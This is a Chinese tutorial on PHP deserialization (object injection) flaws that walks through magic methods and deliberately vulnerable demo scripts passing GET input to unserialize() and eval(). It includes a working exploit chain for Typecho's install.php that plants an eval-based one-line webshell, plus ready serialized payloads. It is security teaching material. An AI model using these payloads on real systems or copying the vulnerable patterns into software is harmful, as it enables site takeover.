PHP反序列化漏洞

简介

PHP反序列化漏洞也成为PHP对象注入,是一个非常常见的漏洞。此类漏洞虽然有些难以利用,但一旦利用成功就会造成非常严重的后果。漏洞形成的根本原因是程序未对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。
反序列化并非PHP特有,它亦存在于Java、Python等语言中,其原理基本相通


serialize()

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>

# Result
# 对象:名称长度:名称:内容个数:{类型:长度:内容;类型:长度:内容;...}
O:7:"chybeta":1:{s:4:"test";s:3:"123";}

这里O代表存储的是对象(Object),若给serialize()传入的是一个数组,则会变成字母a
7表示对象的名称长度为7个字符
1表示有一个值
{s:4:"test";s:3:"123";}中,s表示该字符串长度,"test"为字符串名称,之后类似


unserialize()

与serialize()对应的,unserialize()可以从已存储的表示中创建php的值,单就本次所关系的环境而言,可以从序列化后的结果中恢复对象(object)

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class chybeta {
var $test = '123';
}

$class2 = 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";

$class2_unser = unserialize($class2);
print_r($class2_unser);
?>

当使用unserialize()恢复对象时,将调用__wakeup()成员函数


利用构造函数等

Magic Function
php中有一类特殊的方法叫Magic Function,着重关注以下几条:

  • 构造函数__construct()
    当对象创建(new)时会自动调用,但在unserialize()时则不会自动调用

  • 析构函数__destruct()
    当对象被销毁时会自动调用

  • __wakeup()
    unserialize()时会自动调用


基类继承

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
class chybeta {
var $test = '123';

function __wakeup() {
echo "__wakeup"."</br>";
}
function __construct() {
echo "__construct"."</br>";
}
function __destruct() {
echo "__destruct"."</br>";
}
}

$class2 = '0:7:"chybeta":1:{s:4:"test";s:3:"123";}';
print_r($class2);
echo "</br>";

$class2_unser = unserialize($class2);
print_r($class2_unser);
echo "</br>";
?>

可利用函数

函数 触发条件
__wakeup() 使用unserialize时
__sleep() 使用serialize时
__destruct() 对象被销毁时
__call() 在对象上下文中调用不可访问的方法时
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()时
__unset() 在不可访问的属性上使用unset()时
__toString() 把类当作字符串使用时
__invoke() 把脚本尝试将对象调用为函数时

利用场景

wakeup()或destruct()

因为unserialize()后会导致__wakeup()__destruct()的直接调用,中间无需其它过程。因此最理想的情况就是一些漏洞/危害代码在__wakeup()__destruct()中,从而当我们控制序列化字符串时可以直接触发它们

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class chybeta {
var $test = '123';
function __wakeup() {
$fp = fopen("shell.php", "w");
fwrite($fp, $this->test);
fclose($fp);
}
}

$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);

require "shell.php";
// 为显示效果,将shell.php整个包含进来
?>

利用代码:

1
O:7:"chybeta":1:{s:4:"test";s:19:"<?php phpinfo();?>";}

注:一般程序在创建的时候,都会重写析构函数和构造函数,反序列化就是利用这些重写的函数


typecho反序列化

typecho介绍

Typecho是一个简单、轻巧的博客程序,基于PHP,使用多种数据库(Mysql、PostgreSQL、SQLite)存储数据,在GPL Version 2许可证下发行,是一个开源的程序,目前使用SVN来做版本管理

漏洞

漏洞发生在网站根目录下的install.php文件
代码:

1
2
3
4
5
6
7
8
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_DB($config['adapter'], $config['prefix']);
$db -> addServer($config, Typecho_DB::READ | Typecho_DB::WRITE);
Typecho_DB::set($db);
?>

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Typecho_Feed {
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
private $_charset;

public function __construct() {
$this->_type = $this::RSS2;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}

class Typecho_Request {
private $_params = array();
private $_filter = array();

public function __construct() {
$this->_params['screenName'] = "file_put_contents('pupiles.php', '<?php @eval($_POST[1]);?>')"
$this->_filter[0] = 'assert';
}
}

$exp = array(
'adapter' => new Typecho_Feed,
'prefix' => '_pupiles'
);

echo base64_encode(serialize($exp));
?>
1
a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:19:"Typecho_Feed_type";s:8:"ATOM1.0";s:22:"Typecho_Feed_charset";s:5:"UTF-8";s:19:"Typecho_Feed_lang";s:2:"zh";s:20:"Typecho_Feed_item";a:1:{i:0;a:1:{s:6:"author";O:15:"Typecho_Request":2:{s:24:"Typecho_Request_params";a:1:{s:10:"screenName";s:57:"file_put_contents('404.php','<?php @eval($_POST[i]);?>')";}s:24:"Typecho_Request_filter";a:1:{i:0;s:6:"assert";}}}}}s:6:"prefix";s:7:"typecho";}

防御措施

修复和防御

和大多数漏洞一样,反序列化问题也是用户参数的控制问题引起的,所以好的预防措施就是:
不要抱用户的输入或用户可用的参数直接放进反序列化的操作中去

反序列化实例

写入一句话木马

var_dump.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class A {
var $test = "demo";
function __destruct() {
@eval($this->test);
}
}

$A = new A;
$test = $_GET['test'];
$pp = serialize($A); // 构造序列化对象
echo $pp;
$test_unser = unserialize($test); // 反序列化的同时触发__destruct函数
var_dump($test_unser);
?>

POST:

1
http://127.0.0.1/var_dump.php?test=O:1:%22A%22:1:{s:4:"test";s:10:"phpinfo();";}


补充

序列化
session有效的时候,存到服务器硬盘

您的支持是我前进的动力!